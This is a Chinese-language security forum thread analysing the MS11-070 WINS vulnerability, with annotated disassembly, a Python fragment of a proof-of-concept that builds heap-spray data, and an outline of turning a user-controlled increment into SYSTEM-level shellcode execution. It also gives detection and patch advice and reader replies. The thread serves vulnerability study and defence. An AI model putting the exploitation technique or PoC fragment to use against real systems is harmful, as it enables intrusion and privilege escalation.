.text:7C96D272                 jnz     short loc_7C96D298//
.text:7C96D274
.text:7C96D274 loc_7C96D274:                           ; CODE XREF: RtlEnterCriticalSection(x)+2305Cj
.text:7C96D274                 mov     edx, [ebp+var_4]
.text:7C96D277                 mov     eax, [ebp+arg_0]//得到第一个参数
.text:7C96D27A                 push    edx//
.text:7C96D27B                 push    eax//调用WaitOnCriticalSection这个函数
.text:7C96D27C                 call    _RtlpWaitOnCriticalSection@8 ; RtlpWaitOnCriticalSection(x,x)

最后会执行到如下代码:

.text:7C97AF9F loc_7C97AF9F:                           ; CODE XREF: RtlpWaitOnCriticalSection(x,x)+87j
.text:7C97AF9F                 xor     eax, eax
.text:7C97AFA1                 mov     [ebp+var_10], eax
.text:7C97AFA4                 mov     [ebp+var_8], eax
.text:7C97AFA7                 mov     eax, [esi]//得到它debuginfo的地址
.text:7C97AFA9                 cmp     eax, 0FFFFFFFFh
.text:7C97AFAC                 jz      loc_7C96D203
.text:7C97AFB2                 inc     dword ptr [eax+14h]
//将ContentionCount的值加1,这个地址是由用户来控制的,从而造成攻击。
.text:7C97AFB5                 jmp     loc_7C96D203

*/

7c94a388 648b0d18000000  mov     ecx,dword ptr fs:[<Unloaded_evnt.dll>+0x17 (00000018)]
7c94a38f 8b4124          mov     eax,dword ptr [ecx+24h]
7c94a392 5f              pop     edi
7c94a393 89420c          mov     dword ptr [edx+0Ch],eax
7c94a396 c7420801000000  mov     dword ptr [edx+8],offset <Unloaded_evnt.dll> (00000001)
7c94a39d 33c0            xor     eax,eax
7c94a39f 5e              pop     esi
7c94a3a0 8be5            mov     esp,ebp
7c94a3a2 5d              pop     ebp
7c94a3a3 c20400          ret     4


5漏洞的利用

--------------------

恰好是某个保存着函数返回地址的栈地址或者是某个函数指针,那么通过多次触发漏洞。
多次对该地址内存做dec(或者inc),那么就可以将函数的返回地址或者函数指针中保存的函数地址
改写为某个值(甚至为0),那么随后函数返回或者通过函数指针调用函数时,就会执行攻击者布置在
内存中的shellcode,从而以SYSTEM权限来执行shellcode.
shellcode可以使用heapspray的方式来布局。

poc亮点的讲解:
heap spray数据的构造
    # Struct that is validated by WINS

    magic_struct = ""
    magic_struct += "a" * 0x0c
    magic_struct += struct.pack("I",writeable_address - 0x14)
    magic_struct += struct.pack("I",0)
    magic_struct += struct.pack("I",4)

    magic_struct += "b" *(0x20-len(magic_struct))
    magic_struct += struct.pack("I",1)
    magic_struct += "c" * (0x2c - len(magic_struct))
    magic_struct += struct.pack("I",0x10c00)# a writeable address
    magic_struct += "d" * (0x38-len(magic_struct))
    magic_struct += struct.pack("I",0)

    # Data con la forma de la estructura que triggerea el bug
    data = ""
    data += magic_struct
    data += "B" * (0x4000 - len(data))
    data += "filling"

我们可以将shellcode数据添冲到这里去,然后利用其地址加1的漏洞,使其跳转到我们的shellcode上去。

具体加1的这个地址很难找啊。如果大家有什么好的思路,也可以谈谈,看具体如何利用。

-----

6漏洞检测
针对该poc,如果检测到有上百个tcp连接跟wins服务的端口建立连接,则报警。
用户应该及时更新补丁ms11-070

7补充:
wins介绍:
wins(windows internet name service)网络服务维护了"NetBIOS(网络基本输入/输出系统)名称到IP地址"之间的映射关系,
对于以NetBIOS为基础的TCP/IP应用程序来说,此映射关系是需要用到的。
NetBIOS介绍:
NetBIOS(网络基本输入/输出系统,NetWork Basic Input/Output System),依赖于一种专门的命名规范,在这种命名规范中,
计算机和网络服务被赋予一个16字节的名称,称为NetBIOS名称。

8参考:
http://technet.microsoft.com/zh-cn/security/bulletin/ms11-070(微软的安全补丁公告)
http://hi.baidu.com/4b_4b/blog/item/55caca38b3db8a0a90ef39b3.html(这个很详细,我在他基础上补充一些相关的细节)
http://www.exploit-db.com/exploits/17831/(poc的链接)
http://wenku.baidu.com/view/1ff69025ccbff121dd368354.html(wins服务的安装和介绍)
http://www.cnblogs.com/dirichlet/archive/2011/03/16/1986251.html(深入理解CRITICAL_SECTION)
-------------------------------------------
如果有什么疑义的地方,欢迎跟贴交流:)

[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞5
打赏
分享
最新回复 (17)
雪    币: 266
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
youstar 2 2011-9-26 14:52
2
0
占楼出租
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
instruder 4 2011-9-26 14:53
3
0
顶冰雪风谷 哈 分析很好哈
雪    币: 179
活跃值: (76)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
luanx 2011-9-26 15:11
4
0
分析得不错 不过现在用wins服务器并不多 很多都是域了 所以看能不能在特定环境下用到:)
雪    币: 498
活跃值: (195)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
冰雪风谷 6 2011-9-26 17:42
5
0
谢谢支持。哈哈。
雪    币: 498
活跃值: (195)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
冰雪风谷 6 2011-9-26 17:45
6
0
这个漏洞的利用太难了。
关键是通过分析,学习和掌握poc的一些技巧,和漏洞的本质。
雪    币: 1013
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
loongzyd 10 2011-9-27 08:14
7
0
支持楼主一个,楼主太强了
雪    币: 1675
活跃值: (594)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
djxh 2011-9-27 08:16
8
0
漏洞分析都要支持。
雪    币: 20
活跃值: (84)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
tihty 2 2011-9-27 08:24
9
0
漏洞分析的文章都要支持加学习
雪    币: 408
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 41 2011-9-27 08:43
10
0
顶冰雪的大作……
雪    币: 95
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
清新阳光 2011-9-27 10:34
11
0
这几天我也看了这个漏洞了 就是能给指定地址的值加1  楼主的这段话不是很明白:
恰好是某个保存着函数返回地址的栈地址或者是某个函数指针,那么通过多次触发漏洞。
多次对该地址内存做dec(或者inc),那么就可以将函数的返回地址或者函数指针中保存的函数地址
改写为某个值(甚至为0),那么随后函数返回或者通过函数指针调用函数时,就会执行攻击者布置在
内存中的shellcode,从而以SYSTEM权限来执行shellcode.
shellcode可以使用heapspray的方式来布局。

如果想找那个 特定的writeable地址 应该满足什么条件才能利用呢
雪    币: 234
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
linxinsnow 2011-9-27 10:41
12
0
嘿嘿 帮顶帮顶
雪    币: 230
活跃值: (144)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Kendiv 2011-9-27 11:04
13
0
2003下,wins组件是强制启用DEP的,wins_poc.py 用heapspary得到的堆都是RW权限,没有E权限。且这个漏洞仅在特定版本的wins上触发率高些(50%),其他版本触发率低的可怜。
总的来说,这个exp的价值非常低。
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小P孩儿 2011-9-27 11:28
14
0
标记一下回去看
雪    币: 220
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2011-9-27 13:44
15
0
我还以为有利用代码呢?
雪    币: 47
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
nago 2011-9-27 15:57
16
0
利用价值不高但是可以用来分析学习嘛
雪    币: 473
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
comewisdom 2011-9-28 19:38
17
0
学习学习学习,真大牛啊
雪    币: 297
活跃值: (159)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
kindsjay 4 2011-9-29 09:25
18
0
你的win2003 有 netstat -an 命令?
游客
登录 | 注册 方可回帖
返回